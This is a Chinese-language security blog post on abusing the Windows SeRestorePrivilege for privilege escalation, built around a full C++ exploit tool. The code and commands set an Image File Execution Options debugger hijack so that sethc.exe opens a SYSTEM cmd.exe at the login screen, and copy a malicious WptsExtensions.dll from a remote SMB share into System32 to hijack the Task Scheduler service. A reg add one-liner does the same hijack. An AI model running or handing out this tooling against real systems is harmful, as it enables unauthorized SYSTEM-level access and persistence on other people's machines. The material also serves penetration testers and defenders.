Token Privileges Abusing - SeRestorePrivilege

SeRestorePrivilege SeRestorePrivilege 特权在 Microsoft 官方文档中被描述为 “Restore files and directories”,拥有该特权的任何进程被授予对系统上任何文件或对象的所有写访问控制,而不管...

SeRestorePrivilege

禁止任何公众号/营销号转发

SeRestorePrivilege 特权在 Microsoft 官方文档中被描述为 “Restore files and directories”,拥有该特权的任何进程被授予对系统上任何文件或对象的所有写访问控制,而不管为文件或对象指定的访问控制列表(ACL)。 此外,此特权允许其持有进程或线程更改文件的所有者。

在通过 API 利用此特权时,必须向支持的 API 提供相应的 _BACKUP_ 标志,例如 CreateFile() 函数需要指定 FILE_FLAG_BACKUP_SEMANTICS 标志,RegCreateKeyEx() 函数需要指定 REG_OPTION_BACKUP_RESTORE 标志。这提示内核请求进程可能启用了 SeBackupPrivilege 或 SeRestorePrivilege,并无视 ACL 检查。

利用该特权任意写入 HKLM 注册表能够实现特权提升。例如,我们选择使用 Image File Execution Options 键,用于在系统上调试软件。启动系统二进制文件时,如果在以下注册表位置中存在一个条目并且它包含一个调试器键值,它将执行设置的条目,实现映像劫持。

  1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

此外,还可以将 DLL 放入系统文件夹中以进行 DLL 劫持、覆盖关键系统资源或修改其他服务等方式实现特权提升。

下面给出可供参考的利用代码,首先通过 AdjustTokenPrivileges() 函数为当前进程开启 SeRestorePrivilege 特权,然后通过上述两种方法滥用该特权。如果执行时 -e 参数为 “Dubugger”,则调用 RegCreateKeyExW() 函数在 Image File Execution Options 注册表下创建一个子项,然后用 RegSetValueExW() 函数为指定的程序(默认为 sethc.exe)设置 Debugger 键实现映像劫持(默认将 Debugger 键设为 C:\Windows\System32\cmd.exe)。如果 -e 参数为 “File”,则通过 CreateFileW() 函数创建文件进行 DLL 劫持、覆盖关键系统资源或修改其他服务等。

  • SeRestorePrivilege.cpp
  1. #include <Windows.h>
  2. #include <iostream>
  3. #include <stdio.h>
  4. #define SIZE 200000
  5. BOOL ExploitSeRestorePrivilege(LPCWSTR expType, LPCWSTR program, LPCWSTR command, LPCWSTR sourceFile, LPCWSTR destFile)
  6. {
  7. BOOL status = FALSE;
  8. DWORD lResult;
  9. HKEY hKey;
  10. HANDLE hSource, hDestination;
  11. char buffer[SIZE + 1];
  12. DWORD dwBytesRead, dwBytesWrite;
  13. if (!wcscmp(expType, L"Dubugger"))
  14. {
  15. // Creates the specified registry key.
  16. lResult = RegCreateKeyExW(
  17. HKEY_LOCAL_MACHINE,
  18. std::wstring(L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\").append(program).c_str(),
  19. 0,
  20. NULL,
  21. REG_OPTION_BACKUP_RESTORE,
  22. KEY_SET_VALUE,
  23. NULL,
  24. &amp;hKey,
  25. NULL
  26. );
  27. if (lResult != ERROR_SUCCESS)
  28. {
  29. wprintf(L"[-] RegCreateKeyExW Error: [%u].\n", lResult);
  30. return status;
  31. }
  32. // Sets the data and type of a specified value under a registry key.
  33. lResult = RegSetValueExW(hKey, L"Debugger", 0, REG_SZ, (const BYTE*)command, (wcslen(command) + 1) * sizeof(WCHAR));
  34. if (lResult != ERROR_SUCCESS)
  35. {
  36. wprintf(L"[-] RegSetValueExW Error: [%u].\n", lResult);
  37. return status;
  38. }
  39. wprintf(L"[*] Set Image File Execution Options for %ws successfully with Debugger as %ws.\n", program, command);
  40. status = TRUE;
  41. }
  42. else if(!wcscmp(expType, L"File"))
  43. {
  44. if (sourceFile &amp;&amp; destFile)
  45. {
  46. // Open source file.
  47. hSource = CreateFileW(sourceFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  48. if (hSource == INVALID_HANDLE_VALUE)
  49. {
  50. wprintf(L"[-] Could not open source file by CreateFileW: [%u].\n", GetLastError());
  51. return status;
  52. }
  53. // Create destination file.
  54. hDestination = CreateFileW(destFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_FLAG_BACKUP_SEMANTICS, NULL);
  55. if (hDestination == INVALID_HANDLE_VALUE)
  56. {
  57. wprintf(L"[-] Could not create destination file by CreateFileW: [%u].\n", GetLastError());
  58. return status;
  59. }
  60. // Read from source file.
  61. if (!ReadFile(hSource, buffer, SIZE, &amp;dwBytesRead, NULL))
  62. {
  63. wprintf(L"[-] ReadFile Error: [%u].\n", GetLastError());
  64. return status;
  65. }
  66. wprintf(L"[*] Read bytes from %ws: %d\n", sourceFile, dwBytesRead);
  67. // Write to destination file.
  68. if (!WriteFile(hDestination, buffer, dwBytesRead, &amp;dwBytesWrite, NULL))
  69. {
  70. wprintf(L"[-] WriteFile Error: [%u].\n", GetLastError());
  71. return status;
  72. }
  73. printf("[*] Bytes written to %ws: %d\n", destFile, dwBytesWrite);
  74. status = TRUE;
  75. }
  76. }
  77. return status;
  78. }
  79. BOOL EnableTokenPrivilege(HANDLE hToken, LPCWSTR lpName)
  80. {
  81. BOOL status = FALSE;
  82. LUID luidValue = { 0 };
  83. TOKEN_PRIVILEGES tokenPrivileges;
  84. // Get the LUID value of the privilege for the local system
  85. if (!LookupPrivilegeValueW(NULL, lpName, &amp;luidValue))
  86. {
  87. wprintf(L"[-] LookupPrivilegeValue Error: [%u].\n", GetLastError());
  88. return status;
  89. }
  90. // Set escalation information
  91. tokenPrivileges.PrivilegeCount = 1;
  92. tokenPrivileges.Privileges[0].Luid = luidValue;
  93. tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  94. // Elevate Process Token Access
  95. if (!AdjustTokenPrivileges(hToken, FALSE, &amp;tokenPrivileges, sizeof(tokenPrivileges), NULL, NULL))
  96. {
  97. wprintf(L"[-] AdjustTokenPrivileges Error: [%u].\n", GetLastError());
  98. return status;
  99. }
  100. else
  101. {
  102. status = TRUE;
  103. }
  104. return status;
  105. }
  106. void PrintUsage()
  107. {
  108. wprintf(
  109. L"Abuse of SeRestorePrivilege by @WHOAMI (whoamianony.top)\n\n"
  110. L"Arguments:\n"
  111. L" -h Show this help message and exit\n"
  112. L" -e <Dubugger, File> Choose the type of exploit.\n"
  113. L" -p <Program> Specifies the original program name to IFEO hijacking.\n"
  114. L" -c <Program> Specifies the program to execute after IFEO hijacking.\n"
  115. L" -s <Source> Source file to read.\n"
  116. L" -d <Destination> Destination file to write.\n"
  117. );
  118. }
  119. int wmain(int argc, wchar_t* argv[])
  120. {
  121. HANDLE hToken = NULL;
  122. LPCWSTR expType = L"Dubugger";
  123. LPCWSTR program = L"sethc.exe";
  124. LPCWSTR command = L"\"C:\\Windows\\System32\\cmd.exe\"";
  125. LPCWSTR sourceFile = NULL;
  126. LPCWSTR destFile = NULL;
  127. while ((argc > 1) &amp;&amp; (argv[1][0] == '-'))
  128. {
  129. switch (argv[1][1])
  130. {
  131. case 'h':
  132. PrintUsage();
  133. return 0;
  134. case 'e':
  135. ++argv;
  136. --argc;
  137. if (argc > 1 &amp;&amp; argv[1][0] != '-')
  138. {
  139. expType = (LPCWSTR)argv[1];
  140. }
  141. break;
  142. case 'p':
  143. ++argv;
  144. --argc;
  145. if (argc > 1 &amp;&amp; argv[1][0] != '-')
  146. {
  147. program = (LPCWSTR)argv[1];
  148. }
  149. break;
  150. case 'c':
  151. ++argv;
  152. --argc;
  153. if (argc > 1 &amp;&amp; argv[1][0] != '-')
  154. {
  155. command = (LPCWSTR)argv[1];
  156. }
  157. break;
  158. case 's':
  159. ++argv;
  160. --argc;
  161. if (argc > 1 &amp;&amp; argv[1][0] != '-')
  162. {
  163. sourceFile = (LPCWSTR)argv[1];
  164. }
  165. break;
  166. case 'd':
  167. ++argv;
  168. --argc;
  169. if (argc > 1 &amp;&amp; argv[1][0] != '-')
  170. {
  171. destFile = (LPCWSTR)argv[1];
  172. }
  173. break;
  174. default:
  175. wprintf(L"[-] Invalid Argument: %s.\n", argv[1]);
  176. PrintUsage();
  177. return 0;
  178. }
  179. ++argv;
  180. --argc;
  181. }
  182. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &amp;hToken))
  183. {
  184. wprintf(L"[-] OpenProcessToken Error: [%u].\n", GetLastError());
  185. return 0;
  186. }
  187. // Enable SeRestorePrivilege for the current process token.
  188. if (EnableTokenPrivilege(hToken, SE_RESTORE_NAME))
  189. {
  190. if (ExploitSeRestorePrivilege(expType, program, command, sourceFile, destFile))
  191. {
  192. return 1;
  193. }
  194. }
  195. }

将编译并生成好的 SeRestorePrivilege.exe 上传到目标主机,执行以下命令,在 Image File Execution Options 注册表下创建一个子项 sethc.exe,并将 Debugger 键值设为 C:\Windows\System32\cmd.exe,如下图所示。

  1. SeRestorePrivilege.exe -e Dubugger -p sethc.exe -c C:\Windows\System32\cmd.exe

image-20230209113121331

然后,在目标主机的远程桌面登录屏幕中连按 5 次 Shift 键即可获取一个命令行窗口,并且为 NT AUTHORITY\SYSTEM 权限,如下图所示。

image-20230209111912926

当然,我们可以直接通过 reg 命令设置映像劫持,如下图所示。这是因为在 reg 命令内部会自动调用 AdjustTokenPrivileges() 函数为当前进程开启 SeRestorePrivilege 特权。

  1. reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe"

此外,如果我们指定 -e 为 ”File“,则可以写入任意文件,这里我们在系统目录中写入恶意 DLL 来劫持系统服务。这里劫持的是 Task Scheduler 服务。Task Scheduler 服务使用户可以在此计算机上配置和计划自动任务,并托管多个 Windows 系统关键任务。该服务启动后,将尝试在 C:\Windows\System32 目录中加载 WptsExtensions.dll,但是该链接库文件不存在。我们可以制作一个同名的恶意 DLL 并放入远程共享文件夹中,然后通过 SeRestorePrivilege.exe 将恶意 DLL 写入到 C:\Windows\System32 目录中,如下图所示。

  1. SeRestorePrivilege.exe -e File -s \\172.26.10.128\evilsmb\WptsExtensions.dll -d C:\Windows\System32\WptsExtensions.dll

image-20230209115832079

当系统或服务重启时,目标系统上线,并且为 NT AUTHORITY\SYSTEM 权限,如下图所示。

image-20230209120050530

  • 发表于 2023-07-11 09:00:01
  • 阅读 ( 5364 )
  • 分类:漏洞分析

0 条评论

Marcus_Holloway
Marcus_Holloway

22 篇文章

站长统计